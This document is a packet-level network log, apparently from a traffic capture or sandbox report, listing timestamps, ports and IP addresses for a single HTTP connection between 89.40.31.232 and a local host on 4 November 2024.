Nov 4, 2024 16:52:37.198919058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.198950052 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.198987007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199035883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199145079 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199171066 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199177027 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199182987 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199188948 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199197054 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199208021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199217081 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199229002 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199250937 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199297905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199305058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199323893 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199331045 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199337959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199343920 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199347973 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199357033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199368954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199385881 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199424982 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199775934 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199820995 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199829102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199851990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199858904 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199893951 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199914932 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199922085 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199934959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199959993 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.199965954 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.199969053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200011015 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.200016022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200022936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200037003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200067043 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.200766087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200783014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200790882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200803995 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200810909 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200817108 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200840950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200846910 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200849056 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.200853109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200858116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.200891972 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.200920105 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.243607044 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.243623018 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.243633032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.243691921 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.288428068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.288469076 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.288481951 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.288489103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.288551092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317490101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317529917 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317557096 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317564011 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317572117 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317572117 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317611933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317641020 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317745924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317753077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317766905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317807913 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317811012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317821980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317826033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317840099 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317866087 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317890882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317898035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317899942 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.317904949 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.317939997 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318180084 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318260908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318312883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318312883 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318370104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318428993 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318443060 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318491936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318499088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318502903 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318541050 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318563938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318571091 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318578005 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318610907 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318622112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318628073 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318630934 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318634033 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318662882 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318674088 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318721056 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318737030 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318751097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318802118 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318902016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318944931 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.318955898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.318957090 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319000006 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319082022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319088936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319096088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319140911 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319340944 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319372892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319386005 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319386959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319426060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319509029 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319514990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319528103 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319534063 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319539070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319545031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319551945 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319566965 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319582939 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319587946 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319601059 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319607019 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319608927 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319614887 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.319633961 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.319664955 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.320188999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320209980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320218086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320225954 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320233107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320234060 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.320240974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320266962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.320290089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320296049 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320307016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320310116 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.320312977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320321083 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.320350885 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.320377111 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322618008 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322640896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322648048 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322659016 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322665930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322673082 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322676897 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322679996 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322705030 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322724104 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322746992 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322757959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322765112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322786093 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322788000 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322829962 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322845936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322853088 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322864056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322899103 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.322906971 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322915077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.322957039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323297977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323343039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323389053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323395014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323406935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323415041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323441029 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323441982 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323448896 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323462009 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323468924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323472977 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323508978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323512077 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323515892 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323529959 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.323548079 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.323571920 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.362363100 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.362375021 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.362390041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.362396955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.362477064 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.407480001 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.407495022 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.407501936 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.407509089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.407524109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.407566071 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.407608986 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436404943 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436427116 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436435938 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436448097 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436454058 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436461926 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436479092 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436487913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436494112 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436501026 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436510086 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436513901 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436517000 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436532974 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436533928 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436542034 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436546087 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436578035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436589956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436589956 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436650038 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436656952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436670065 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436681986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436701059 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436727047 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436729908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436738014 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436744928 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.436770916 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.436788082 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437067032 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437086105 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437098980 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437139988 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437175035 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437181950 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437194109 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437201023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437213898 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437235117 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437237024 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437272072 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437331915 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437339067 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437351942 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437357903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437364101 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437378883 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437391996 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437416077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437417984 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437424898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437429905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437441111 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437448978 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437485933 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437508106 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437568903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437576056 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437582970 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437593937 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437601089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437607050 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437614918 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437618971 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437639952 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437640905 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437649012 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437665939 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437674999 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437689066 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437719107 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437797070 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437844992 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437856913 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437891960 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437923908 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437930107 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437943935 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437967062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437972069 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437974930 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437985897 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.437990904 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.437995911 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438026905 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438127041 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438133955 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438147068 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438152075 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438158989 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438165903 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438172102 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438178062 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438184977 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438209057 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438225031 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438261986 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438266039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438266039 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438268900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438277960 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438282967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438313007 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438360929 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438366890 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438373089 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438380003 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438385010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438395023 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438400984 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438407898 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438473940 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438484907 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438493967 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438550949 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438580990 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438596010 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438602924 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438610077 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438622952 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438628912 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438687086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438687086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438687086 CET	59474	80	192.168.2.6	89.40.31.232
Nov 4, 2024 16:52:37.438859940 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438865900 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438873053 CET	80	59474	89.40.31.232	192.168.2.6
Nov 4, 2024 16:52:37.438914061 CET	59474	80	192.168.2.6	89.40.31.232
